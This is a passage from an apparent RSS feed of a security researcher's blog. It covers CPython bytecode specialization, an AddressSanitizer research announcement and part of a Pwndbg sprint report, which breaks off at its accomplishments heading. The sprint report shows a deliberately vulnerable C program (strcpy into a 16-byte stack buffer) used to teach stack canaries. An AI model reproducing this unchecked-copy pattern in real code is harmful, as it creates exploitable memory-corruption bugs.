              &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY_OP&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CACHE&lt;/span&gt;                    &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we first disassemble this function, one of its opcode was already optimized from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FAST&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FAST__LOAD_FAST&lt;/code&gt;. This is a “superoperator” or “superopcode” which works faster than executing two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FAST&lt;/code&gt; operations. The other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FAST&lt;/code&gt; instruction needs to be kept there since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FAST__LOAD_FAST&lt;/code&gt; figures out the second load argument from it (the name of variable to fetch, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;y&lt;/code&gt;; this can be seen &lt;a href=&quot;https://github.com/python/cpython/blob/3.12/Python/generated_cases.c.h#L140-L149&quot;&gt;here in the CPython code&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Now, lets see what will happen when we execute the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; function with int arguments lots of times:&lt;/p&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;adaptive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;show_caches&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST__LOAD_FAST&lt;/span&gt;     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY_OP_ADD_INT&lt;/span&gt;        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CACHE&lt;/span&gt;                    &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;832&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BINARY_OP&lt;/code&gt; instruction was replaced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BINARY_OP_ADD_INT&lt;/code&gt; which adds two integers faster. Of course the instruction still checks for argument types and if they aren’t integers, a deoptimized opcode is executed (which dispatches the execution based on argument types). This can actually be seen in &lt;a href=&quot;https://github.com/python/cpython/blob/3.12/Python/generated_cases.c.h#L537-L538&quot;&gt;CPython’s C implementation for this opcode&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        &lt;span class=&quot;n&quot;&gt;TARGET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BINARY_OP_ADD_INT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;PyObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stack_pointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;PyObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stack_pointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;PyObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;cp&quot;&gt;#line 385 &quot;Python/bytecodes.c&quot;
&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;// HERE we deoptimize the opcode if both args &lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// are not integers (CPython&apos;s PyLong type)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;DEOPT_IF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyLong_CheckExact&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY_OP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;DEOPT_IF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_TYPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_TYPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY_OP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// (...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, what will happen if we now execute the same function with string arguments many times?&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; world&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;adaptive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;show_caches&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST__LOAD_FAST&lt;/span&gt;     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_FAST&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BINARY_OP_ADD_UNICODE&lt;/span&gt;     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CACHE&lt;/span&gt;                    &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;832&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, the function got optimized for a case when both arguments are unicode strings and so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BINARY_OP_ADD_UNICODE&lt;/code&gt; is used.&lt;/p&gt;

&lt;h2 id=&quot;want-to-learn-more&quot;&gt;Want to learn more?&lt;/h2&gt;

&lt;p&gt;If you want to learn more about all of this, I recommend you going through the talk as well as reading the &lt;a href=&quot;https://docs.python.org/3.11/whatsnew/3.11.html#pep-659-specializing-adaptive-interpreter&quot;&gt;Python 3.11 release’s “What’s new” section&lt;/a&gt; which also describes all the speed ups achieved with this approach.&lt;/p&gt;
</description>
        <pubDate>Thu, 20 Jun 2024 14:13:37 +0200</pubDate>
        <link>https://disconnect3d.pl//2024/06/20/python-specialized-bytecode/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2024/06/20/python-specialized-bytecode/</guid>
        
        <category>python,</category>
        
        <category>ctf</category>
        
        
      </item>
    
      <item>
        <title>Understanding AddressSanitizer blog post</title>
        <description>&lt;p&gt;Some time ago during an audit I found an out-of-bounds bug that was not detected by AddressSanitizer. This spawned a whole research at Trail of Bits which I talked and wrote about in details!&lt;/p&gt;

&lt;p&gt;I wondered why this happened and we decided at Trail of Bits to extended the 
AddressSanitizer bug detection capabilities in LLVM (libc++) for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std::string&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std::deque&lt;/code&gt; collections 
by annotating them (so ASan is aware of their size vs capacity bounds). 
We also added support for all allocators for all the containers that have container overflow detections (vector, string, deque). 
Apart from that, we also improved some other internals of ASan.&lt;/p&gt;

&lt;p&gt;When we did this research, we initially made a talk about this on the &lt;a href=&quot;https://docs.google.com/presentation/d/1cVoQUtB9d0kNPZMx1EsQ5C37ElDmg29s4mSpi6g3vyM/&quot;&gt;WarCon conference in 2022&lt;/a&gt;. 
Now, when we got our improvements merged into LLVM, we wrote a full blog post about all of the improvements made, ASan internals, its limitations and quirks.&lt;/p&gt;

&lt;p&gt;You can read about all of this in the 
&lt;a href=&quot;https://blog.trailofbits.com/2024/05/16/understanding-addresssanitizer-better-memory-safety-for-your-code/&quot;&gt;“Understanding AddressSanitizer: Better memory safety for your code”&lt;/a&gt; 
blog post I released at Trail of Bits blog with Dominik Klemba.&lt;/p&gt;
</description>
        <pubDate>Thu, 16 May 2024 19:00:00 +0200</pubDate>
        <link>https://disconnect3d.pl//2024/05/16/understanding-asan-blog/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2024/05/16/understanding-asan-blog/</guid>
        
        <category>posts,</category>
        
        <category>publications</category>
        
        
      </item>
    
      <item>
        <title>Pwndbg coding sprints report</title>
        <description>&lt;p&gt;This blog post is a report of the two coding sprints for the &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot;&gt;Pwndbg project&lt;/a&gt; that I organized first on the EuroPython 2022 conference and then, taking inspiration from the previous one, in the Hackerspace Kraków, located in Cracow, Poland.&lt;/p&gt;

&lt;p&gt;PS: If you are only looking for a list of things done, scroll down!&lt;/p&gt;

&lt;h2 id=&quot;where-i-got-the-idea-for-sprints&quot;&gt;Where I got the idea for sprints?&lt;/h2&gt;

&lt;p&gt;I have recently attended the &lt;a href=&quot;https://ep2022.europython.eu&quot;&gt;EuroPython 2022&lt;/a&gt; conference and I enjoyed the “sprints” there. In short, a &lt;a href=&quot;https://ep2022.europython.eu/sprints#what-is-a-sprint-&quot;&gt;sprint&lt;/a&gt; is a semi-organized event, where anyone can announce a project they will be working on and others can join them. This helps both the projects and the event participants to learn about the project and to make first-time contributions. At the EuroPython conference, &lt;a href=&quot;https://ep2022.europython.eu/sprints#2022-sprints-listings&quot;&gt;there were 16 officially announced projects&lt;/a&gt;, but I know that even more projects were being worked on in practice. Of course, other communities or conferences also do this (e.g. &lt;a href=&quot;https://2022.nixcon.org/#hackday&quot;&gt;NixCon&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;At the EuroPython conference, I announced my own sprint to work on the Pwndbg project that I maintain. Having no expectations, I felt excited when four people showed up to learn something new and hack together on the project. Later, taking inspiration from it, I organized another sprint, this time in Cracow in the local Hackerspace with even a bigger response. Below, you can read a small report on the two sprints that have happened.&lt;/p&gt;

&lt;h2 id=&quot;my-general-idea-for-a-pwndbg-sprint&quot;&gt;My general idea for a Pwndbg sprint&lt;/h2&gt;
&lt;p&gt;Pwndbg is written in Python, so on one hand is easy to hack on, but on the other hand it is a plugin for GDB, a console debugger for native programs (e.g. ones written in C, C++, Go or Rust). The general idea of Pwndbg is to alleviate the pain points of working with and improve the UX of GDB when debugging assembly code, reverse engineering a binary or during exploit development.&lt;/p&gt;

&lt;p&gt;Since not everyone is familiar with debuggers or the underlyings of programs execution (e.g. assembly code, CPU registers or stack or heap memory) I knew that I had to make some introduction to those concepts and if possible, prepare a list of simple tasks, so that people can get familiar with the codebase and the tool and contribute something.&lt;/p&gt;

&lt;h2 id=&quot;europython-2022-sprint&quot;&gt;EuroPython 2022 sprint&lt;/h2&gt;

&lt;p&gt;On the first sprint, four people showed up, mostly having no prior experience with the topic. We started with an introduction to what GDB and Pwndbg are and why and when they are useful.&lt;/p&gt;

&lt;p&gt;For this, I took a small C program that had a buffer overflow bug:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// NOTE: We copy the `argv[1]` string which may be of arbitrary length&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// into the `name` buffer which is only of 16-bytes long. Thus, we can&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// overwrite the stack memory of the program past the `name` buffer.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello %s!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, after compiling it (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc main.c&lt;/code&gt;), we ran the program twice to see that it will crash if we provide a too long string as its argument:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./a.out Disconnect3d
Hello Disconnect3d!

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./a.out Disconnect3d_at_EuroPython
Hello Disconnect3d_at_EuroPython!
&lt;span class=&quot;k&quot;&gt;***&lt;/span&gt; stack smashing detected &lt;span class=&quot;k&quot;&gt;***&lt;/span&gt;: &amp;lt;unknown&amp;gt; terminated
Aborted &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;core dumped&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, I explained that the “stack smashing detected” we see is the “stack canaries” (also called “stack cookies”) exploit mitigation added by compilers. This compiler feature adds a special 8-bytes canary value after the function’s local variables located on the stack, so that then a stack frame may look like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;------------------------------   lower addresses
char name[16];                         |
uint8_t canary[8];                     |
void* function_return_address;         V
------------------------------   higher addresses
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This local stack canary value is then filled in just after the function’s prologue and is verified against a global value before the function returns to see if the stack was not corrupted (starting from the canary). Of course this may not detect all possible stack memory corruptions but it often makes it impossible to exploit a program (e.g. by changing the return address, also located on the stack), knowing just this vulnerability.&lt;/p&gt;

&lt;p&gt;The stack canary mitigation can also be disabled. And if it were done (by passing in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-fno-stack-protector&lt;/code&gt; flag during compilation), we would get a different result when running the resulting program:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gcc &lt;span class=&quot;nt&quot;&gt;-fno-stack-protector&lt;/span&gt; buf.c

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./a.out Disconnect3d_on_EuroPython
Hello Disconnect3d_on_EuroPython!
Segmentation fault &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;core dumped&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, the “stack smashing detected” is gone, but the program still crashed, because we still corrupted a part of its memory that we shouldn’t have touched in a way that made the program do illegal things (e.g. accessing unmapped memory).&lt;/p&gt;

&lt;p&gt;During the sprint, we also ran a GDB+Pwndbg session to see the exact instructions that placed the canary value on the stack memory, to see that our input string was located just before it and how the canary was checked just before the function was returned.&lt;/p&gt;

&lt;p&gt;I am not going to describe all of this here, but you can see some of it in the below asciinema recording.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://asciinema.org/a/zuuwfJIZrpu6IjuwWhiNgAdim&quot;&gt;&lt;img src=&quot;https://asciinema.org/a/zuuwfJIZrpu6IjuwWhiNgAdim.svg&quot; alt=&quot;asciicast&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;hackerspace-kraków-sprint&quot;&gt;Hackerspace Kraków sprint&lt;/h2&gt;

&lt;p&gt;Since the second sprint was an ad-hoc event, I had to organize it myself. As a member of Hackerspace Kraków, I was able to reserve the hackerspace’s softroom, which is a perfect place for people to hack on things using their computers. Then, I advertised the event on the &lt;a href=&quot;https://groups.google.com/g/hackerspace-krk/c/MP6mX4I5vXY&quot;&gt;Hackerspace’s mailing list&lt;/a&gt; and on a few other mediums.&lt;/p&gt;

&lt;p&gt;I did not expect many people to come, especially that I advertised the sprint ~2 days before the event.&lt;/p&gt;

&lt;p&gt;But… 8 people (!) showed up (excluding me). I prepared a document with some basic information and tasks, which can be found &lt;a href=&quot;https://hackmd.io/vjfZ4GIYS8eu_j-7q-fkBg&quot;&gt;here&lt;/a&gt; (though, it is in Polish and it was modified during and after the sprint).&lt;/p&gt;

&lt;p&gt;I won’t lie: most people that came were friends of mine, some of which I play &lt;a href=&quot;https://en.wikipedia.org/wiki/Capture_the_flag_(cybersecurity)&quot;&gt;CTFs&lt;/a&gt; with. However, not all of them had really used or developed Pwndbg before.&lt;/p&gt;

&lt;h2 id=&quot;accomplishments-from-the-two-sprints&quot;&gt;Accomplishments from the two sprints&lt;/h2&gt;

